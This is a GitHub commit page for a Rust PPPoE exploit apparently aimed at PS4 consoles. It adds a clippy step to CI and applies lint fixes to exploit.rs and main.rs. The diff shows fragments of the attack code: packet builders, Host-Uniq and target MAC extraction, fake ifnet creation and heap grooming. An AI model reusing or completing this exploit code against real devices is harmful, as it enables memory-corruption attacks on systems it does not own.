Skip to content

Commit

Permalink
Apply cargo clippy and add to pipeline
Browse files Browse the repository at this point in the history
  • Loading branch information
fedebuonco committed Oct 10, 2024
1 parent b2e07a6 commit 88ad76a
Show file tree
Hide file tree
Showing 3 changed files with 47 additions and 55 deletions.
24 changes: 13 additions & 11 deletions .github/workflows/rust.yml
Original file line number Diff line number Diff line change
Expand Up @@ -11,17 +11,19 @@ env:

jobs:
build:

runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v4

- name: Install dependencies
run: sudo apt-get update && sudo apt-get install -y libpcap-dev

- name: Build
run: cargo build --verbose

- name: Run tests
run: cargo test --verbose
- uses: actions/checkout@v4

- name: Install dependencies
run: sudo apt-get update && sudo apt-get install -y libpcap-dev

- name: Build
run: cargo build --verbose

- name: Run tests
run: cargo test --verbose

- name: Run clippy
run: cargo clippy --verbose
74 changes: 33 additions & 41 deletions src/exploit.rs
Original file line number Diff line number Diff line change
Expand Up @@ -77,9 +77,9 @@ impl<'a> LcpEchoHandler<'a> {
match rx.next() {
Ok(packet) => {
// If it is an LCP echo request, send a reply
if is_lcp_echo_request(&packet) {
if is_lcp_echo_request(packet) {
println!("[*] Found LCP Echo Request...");
Self::send_echo_reply(tx, &packet);
Self::send_echo_reply(tx, packet);
}
}
Err(e) => {
Expand Down Expand Up @@ -138,7 +138,7 @@ impl Exploit {

pub fn ppp_negotiation(&mut self, interface: &NetworkInterface) {
println!("[*] Starting PPP Negotiation...");
let (mut tx, mut rx) = match datalink::channel(&interface, Default::default()) {
let (mut tx, mut rx) = match datalink::channel(interface, Default::default()) {
Ok(Ethernet(tx, rx)) => (tx, rx),
Ok(_) => panic!("Unhandled channel type"),
Err(e) => panic!(
Expand Down Expand Up @@ -177,7 +177,7 @@ impl Exploit {
pub fn lcp_negotiation(&mut self, interface: &NetworkInterface) {
// Create LCP Configure request

let (mut tx, mut rx) = match datalink::channel(&interface, Default::default()) {
let (mut tx, mut rx) = match datalink::channel(interface, Default::default()) {
Ok(Ethernet(tx, rx)) => (tx, rx),
Ok(_) => panic!("Unhandled channel type"),
Err(e) => panic!(
Expand Down Expand Up @@ -215,7 +215,7 @@ impl Exploit {
}

pub fn ipcp_negotiation(&mut self, interface: &NetworkInterface) {
let (mut tx, mut rx) = match datalink::channel(&interface, Default::default()) {
let (mut tx, mut rx) = match datalink::channel(interface, Default::default()) {
Ok(Ethernet(tx, rx)) => (tx, rx),
Ok(_) => panic!("Unhandled channel type"),
Err(e) => panic!(
Expand Down Expand Up @@ -279,10 +279,10 @@ impl Exploit {
pub fn handle_padi(&mut self, data: &[u8]) {
println!("[+] PADI packet received");
// Extracting Host Unique Tag and populating the self.pppoe_softc
self.host_uniq = extract_host_uniq(&data).unwrap();
self.host_uniq = extract_host_uniq(data).unwrap();
self.pppoe_softc = u64::from_be_bytes(self.host_uniq);
// Extract and update source mac
self.target_mac = extract_ps4_source_mac(&data).unwrap();
self.target_mac = extract_ps4_source_mac(data).unwrap();
println!("[+] Exploit Target MAC: {:?}", self.target_mac);
self.calc_planted();
let ac_cookie = create_fake_ifnet(self.pppoe_softc);
Expand All @@ -291,7 +291,7 @@ impl Exploit {

pub fn heap_grooming(&mut self, interface: &NetworkInterface) {
// Open channel
let (mut tx, mut rx) = match datalink::channel(&interface, Default::default()) {
let (mut tx, mut rx) = match datalink::channel(interface, Default::default()) {
Ok(Ethernet(tx, rx)) => (tx, rx),
Ok(_) => panic!("Unhandled channel type"),
Err(e) => panic!(
Expand Down Expand Up @@ -439,7 +439,7 @@ fn is_icmpv6_router_sol(data: &[u8]) -> bool {
let ipv6_code = u8::from_be_bytes([data[54]]);
let result = ipv6_code == constants::IPCPV6_RS;
println!("[+] Correct router code?: {:?}", result);
return result;
result
}

fn is_lcp_echo_request(data: &[u8]) -> bool {
Expand Down Expand Up @@ -470,16 +470,14 @@ fn extract_host_uniq(data: &[u8]) -> Result<[u8; 8], Box<dyn std::error::Error>>
let tag_type = u16::from_be_bytes([data[offset], data[offset + 1]]);
let tag_len = u16::from_be_bytes([data[offset + 2], data[offset + 3]]) as usize;
offset += constants::PPPOE_TAG_HEADER_LEN;
if tag_type == constants::PPPOE_TAG_HOST_UNIQ {
if offset + tag_len <= data.len() {
// Extract the Host-Uniq tag value
let host_uniq = &data[offset..offset + tag_len];
if tag_len == 8 {
// If Host-Uniq is expected to be a 64-bit integer, interpret it as Big-Endian
result.copy_from_slice(host_uniq);
println!("[+] Extracted Host-Uniq: {:?}", result);
break;
}
if tag_type == constants::PPPOE_TAG_HOST_UNIQ && offset + tag_len <= data.len() {
// Extract the Host-Uniq tag value
let host_uniq = &data[offset..offset + tag_len];
if tag_len == 8 {
// If Host-Uniq is expected to be a 64-bit integer, interpret it as Big-Endian
result.copy_from_slice(host_uniq);
println!("[+] Extracted Host-Uniq: {:?}", result);
break;
}
}
// Go to next tag
Expand Down Expand Up @@ -633,7 +631,7 @@ pub fn create_ipcp_conf_ack(
payload.push(0x6);
payload.extend_from_slice(&dns);

let packet = ether::Builder::default()
ether::Builder::default()
.source(source_mac.into())
.unwrap()
.destination(target_mac.into())
Expand All @@ -643,8 +641,7 @@ pub fn create_ipcp_conf_ack(
.payload(&payload)
.unwrap()
.build()
.unwrap();
packet
.unwrap()
}

pub fn create_ipcp_conf_nak(
Expand Down Expand Up @@ -679,7 +676,7 @@ pub fn create_ipcp_conf_nak(
payload.push(0x6);
payload.extend_from_slice(&ip_address);

let packet = ether::Builder::default()
ether::Builder::default()
.source(source_mac.into())
.unwrap()
.destination(target_mac.into())
Expand All @@ -689,8 +686,7 @@ pub fn create_ipcp_conf_nak(
.payload(&payload)
.unwrap()
.build()
.unwrap();
packet
.unwrap()
}

pub fn create_ipcp_conf_request(
Expand Down Expand Up @@ -725,7 +721,7 @@ pub fn create_ipcp_conf_request(
payload.push(0x6);
payload.extend_from_slice(&ip_address);

let packet = ether::Builder::default()
ether::Builder::default()
.source(source_mac.into())
.unwrap()
.destination(target_mac.into())
Expand All @@ -735,8 +731,7 @@ pub fn create_ipcp_conf_request(
.payload(&payload)
.unwrap()
.build()
.unwrap();
packet
.unwrap()
}

pub fn create_lcp_echo_reply(
Expand Down Expand Up @@ -814,7 +809,7 @@ pub fn create_pado_packet(
payload[payload_length_pos..payload_length_pos + 2]
.copy_from_slice(&(payload_length as u16).to_be_bytes());

let packet = ether::Builder::default()
ether::Builder::default()
.source(source_mac.into())
.unwrap()
.destination(target_mac.into())
Expand All @@ -824,8 +819,7 @@ pub fn create_pado_packet(
.payload(&payload)
.unwrap()
.build()
.unwrap();
packet
.unwrap()
}

pub fn create_lcp_conf_ack(
Expand All @@ -850,7 +844,8 @@ pub fn create_lcp_conf_ack(
payload.push(constants::LCP_CONF_ACK); // Configuration Ack
payload.push(constants::LCP_ID);
payload.extend_from_slice(&[0, 4]);
let packet = ether::Builder::default()

ether::Builder::default()
.source(source_mac.into())
.unwrap()
.destination(target_mac.into())
Expand All @@ -860,8 +855,7 @@ pub fn create_lcp_conf_ack(
.payload(&payload)
.unwrap()
.build()
.unwrap();
packet
.unwrap()
}

pub fn create_lcp_conf_request(
Expand All @@ -888,7 +882,7 @@ pub fn create_lcp_conf_request(
payload.push(constants::LCP_ID);
payload.extend_from_slice(&[0, 4]);

let packet = ether::Builder::default()
ether::Builder::default()
.source(source_mac.into())
.unwrap()
.destination(target_mac.into())
Expand All @@ -898,8 +892,7 @@ pub fn create_lcp_conf_request(
.payload(&payload)
.unwrap()
.build()
.unwrap();
packet
.unwrap()
}

pub fn create_pads_packet(
Expand All @@ -923,7 +916,7 @@ pub fn create_pads_packet(
payload.extend_from_slice(&(host_uniq.len() as u16).to_be_bytes());
payload.extend_from_slice(&host_uniq);

let packet = ether::Builder::default()
ether::Builder::default()
.source(source_mac.into())
.unwrap()
.destination(target_mac.into())
Expand All @@ -933,8 +926,7 @@ pub fn create_pads_packet(
.payload(&payload)
.unwrap()
.build()
.unwrap();
packet
.unwrap()
}

fn create_icmpv6_adv(
Expand Down Expand Up @@ -1048,7 +1040,7 @@ where
loop {
match rx.next() {
Ok(packet) => {
if predicate(&packet) {
if predicate(packet) {
// Get the raw packet data as a slice
return Some(packet.to_vec());
}
Expand Down
4 changes: 1 addition & 3 deletions src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -20,9 +20,7 @@ fn run_exploit(interface_name: String) {
// Find the network interface with the provided name
let interfaces = datalink::interfaces();
let interface = interfaces
.into_iter()
.filter(interface_names_match)
.next()
.into_iter().find(interface_names_match)
.unwrap();
// Exploit
let mut expl = Exploit {
Expand Down

0 comments on commit 88ad76a

Please sign in to comment.